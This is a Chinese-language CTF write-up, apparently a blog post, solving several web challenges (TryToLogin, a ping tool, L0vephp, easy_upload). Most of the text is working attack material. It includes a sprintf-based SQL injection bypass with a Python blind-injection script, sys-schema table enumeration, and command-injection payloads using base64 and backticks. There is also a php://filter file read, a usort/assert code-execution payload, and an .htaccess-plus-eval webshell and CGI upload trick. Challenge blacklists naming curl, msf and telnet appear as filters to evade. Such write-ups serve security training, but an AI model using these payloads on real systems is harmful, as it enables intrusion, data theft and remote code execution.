上海市大学生网络安全大赛 —— TryToLogin
访问Web服务是一个登入框
随便注入下发现基本没用,而且or被ban了
源码提示file参数可以读文件,尝试读 /var/www/html/index.php
,失败
读取apache服务配置文件
file=/etc/apache2/sites-available/000-default.conf
得知Web根目录为 /var/www/secret_dir_2333/html/
file=/var/www/secret_dir_2333/html/index.php
读取源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class user { public $hostname = '127.0.0.1' ; public $username = 'root' ; public $password = 'root' ; public $database = 'ctf' ; private $mysqli = null ; public function __construct ( ) { $this ->mysqli = mysqli_connect( $this ->hostname, $this ->username, $this ->password ); mysqli_select_db($this ->mysqli,$this ->database); } public function filter ( ) { $_POST ['username' ] = addslashes($_POST ['username' ]); $_POST ['password' ] = addslashes($_POST ['password' ]); $safe1 = preg_match('/inn|or/is' , $_POST ['username' ]); $safe2 = preg_match('/inn|or/is' , $_POST ['password' ]); if ($safe1 === 0 and $safe2 === 0 ){ return true ; }else { die ('No hacker!' ); } } public function login ( ) { $this ->filter(); $username = $_POST ['username' ]; $password = $_POST ['password' ]; $sql = "select * from user where username='%s' and password='$password '" ; $sql = sprintf($sql ,$username ); $result = mysqli_query($this ->mysqli,$sql ); $result = mysqli_fetch_object($result ); if ($result ->id){ return 1 ; }else { return 0 ; } } session_start(); if (isset ($_GET ['file' ])){ if (preg_match('/flag/is' , $_GET ['file' ]) === 0 ) { echo file_get_contents('/' .$_GET ['file' ]); } } if (isset ($_POST ['password' ])){ $user = new user; $login = $user ->login(); if ($login ) { echo "Success!" ; } else { echo "Wrong!" ; } } ?>
一开始面对addslashes()
还不知道怎么Bypass
然后看到 $sql = sprintf($sql,$username);
百度之后查到了一篇文章
http://bey0nd.xyz/2018/11/05/1/
%s只是字符串格式化username,漏洞点肯定不在这里
就在password处开始造作
1 2 3 输入 处理 格式化 ' -> \' -> \' %' -> %\' -> %'
那么就要让password抢掉username的格式化,可以使用占位符
or被过滤则可以使用||
而$username可以放空,以避免格式化字符串时出乱子
payload:
就可以基于这个登入成功或失败的回显来进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsr = requests.session() dbname = '' for i in range (1 ,50 ): bot = 32 top = 128 mid = (bot + top) // 2 while (bot < top): url = 'http://eci-2zegdefmmywv8xtsuu90.cloudeci1.ichunqiu.com/index.php' data={'usernaem' :'' , 'password' :'%1$\'||(ascii(substr((select * from fl4g),{},1))>{})#' .format (i,mid)} res=r.post(url=url, data=data) if "Success" in res.text: bot = mid + 1 else : top = mid mid = (bot + top) // 2 if (mid == 32 or mid == 127 ): break dbname = dbname + chr (mid) print(dbname)
现在才想起来substr是从1开始的
这里有两个点可以提一下
前两周刷BUUOJ刷到的知识点,躺在to_do_list里面就一直没看,结果这个题差点在这一步卡死
因为or被过滤了,不能使用information_schema库来进行查库查表查列的组合拳
而mysql 5.7版本可以使用sys库中的一些表来查询库名和表名
个人总结如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sys.schema_object_overview db 库名 sys.schema_table_statistics table_schema 库名 table_name 表名 sys.schema_table_statistics_with_buffer table_schema 库名 table_name 表名 sys.x$schema_index_statistics table_schema 库名 table_name 表名 sys.x$schema_table_statistics table_schema 库名 table_name 表名 sys.x$ps_schema_table_statistics_io table_schema 库名 table_name 表名
这里只写出了几个通用的表
另外一种方法则是innodb,不过也被ban了
而且这个要求的服务mysql默认是不开启的,门槛较高
这里倒不用继续猜列名
直接 select * from fl4g 就能出flag
substr 与 select 与 column
当时随便打了个 select * from fl4g
就出flag了,也没多想
后面想到如果是这种盲注的情况,能不能无列名读取账户表
结论是不行,substr内进行select操作
若该表只有一列,则可以使用select *,无需知道列名
flag表就是这样
若该表有多列,则必须指定一个列名,或者使用concat/group_concat连接多个列名
盲注ban了or还要查列名的情况还真没遇到过
有错误回显的情况下可以进行列名的获取
1 2 3 4 5 6 7 8 MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b)c; ERROR 1060 (42S21): Duplicate column name 'id' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id))c; ERROR 1060 (42S21): Duplicate column name 'username' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username))c; ERROR 1060 (42S21): Duplicate column name 'email' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username,email))c; ERROR 1222 (21000): The used SELECT statements have a different number of columns
进入页面是一个Ping Tool
经典的命令注入
输入|ls,得到回显
index.php style.css
尝试了一下别的输入之后发现存在黑名单,先尝试读取index.php
1 2 base64 index.php base64<index.php
这里使用tab符或<都能用于代替空格
或者使用strings来读取,不过看源码可能有点麻烦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['url' ])){ $ip =$_GET ['url' ]; if (preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i" , $ip )){ die ("<strong><center>非法字符</center></strong>" ); } if (preg_match("/.*f.*l.*a.*g.*/" , $ip )){ die ("<strong><center>非法字符</center></strong>" ); } $a = shell_exec("ping -c 4 " .$ip ); echo ($a ); }else { echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>" ; } ?>
可以看到flag在根目录下
但是第二层正则则对于"flag"过滤得很严
只能使用base64进行bypass
1 |`echo Y2F0IC9mbGFn|base64 -d`
base64解码的结果为"cat /flag"
然后再通过``执行这个命令,即可读取flag
UNCTF —— L0vephp
查看源代码,看到两段注释内容
实在看不出来是什么编码,丢进basecrack
base85的解码结果为get action
尝试?action=/etc/passwd
可以读取passwd文件
使用base64编码读取flag.php时发现被ban
使用rot13读取flag.php
?action=php://filter/string.toupper|string.rot13/resource=flag.php
在注释中看到flag.php的内容
rot13解码之后的内容如下
1 2 3 4 <?PHP $FLAG = "UNCTF{7HIS_IS_@_F4KE_F1A9}" ;?>
316E4433782E706870
进行Base16解码得到 1nD3x.php
访问1nD3x.php
内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0 ); show_source(__FILE__ ); $code =$_REQUEST ['code' ];$_ =array ('@' ,'\~' ,'\^' ,'\&' ,'\?' ,'\<' ,'\>' ,'\*' ,'\`' ,'\+' ,'\-' ,'\'' ,'\"' ,'\\\\' ,'\/' ); $__ =array ('eval' ,'system' ,'exec' ,'shell_exec' ,'assert' ,'passthru' ,'array_map' ,'ob_start' ,'create_function' ,'call_user_func' ,'call_user_func_array' ,'array_filter' ,'proc_open' );$blacklist1 = array_merge($_ );$blacklist2 = array_merge($__ );if (strlen($code )>16 ){ die ('Too long' ); } foreach ($blacklist1 as $blacklisted ) { if (preg_match ('/' . $blacklisted . '/m' , $code )) { die ('WTF???' ); } } foreach ($blacklist2 as $blackitem ) { if (preg_match ('/' . $blackitem . '/im' , $code )) { die ('Sry,try again' ); } } @eval ($code ); ?>
过滤了很多内容
可以使用php变长参数
1 2 3 4 ?1 []=test&1 []=phpinfo()&2 =assert echo var_dump(...$_GET );array (2 ) { [0 ]=> string (4 ) "test" [1 ]=> string (9 ) "phpinfo()" } string (6 ) "assert"
使用usort进行命令执行
(assert支持多个参数的代码执行)
1 2 GET: 1[]=test&1[]=system('cat /flag_mdnrvvldb')&2=assert POST: code=usort(...$GET);
UNCTF —— easy_upload
内容匹配
1 preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i" ,$black )
这里的 “||base|“匹配”|base”
详见 PHP正则二次转义(DATA_EXPUNGED)
文件名匹配
1 preg_match("/ph|ml|js|cg/i" , $name )
两种思路
WebShell
1 2 3 #.htaccess SetHandler application/x-httpd-p\ hp
1 2 #a.jpg <?=@eval($_GET["cmd"]);
CGI
1 2 3 #.htaccess Options ExecCGI AddHandler cgi-script .xxx
1 2 3 4 5 6 #a.xxx #!/bin/bash echo "Content-Type: text/plain" echo "" cat /flag exit 0
相关链接
.htaccess Trick分享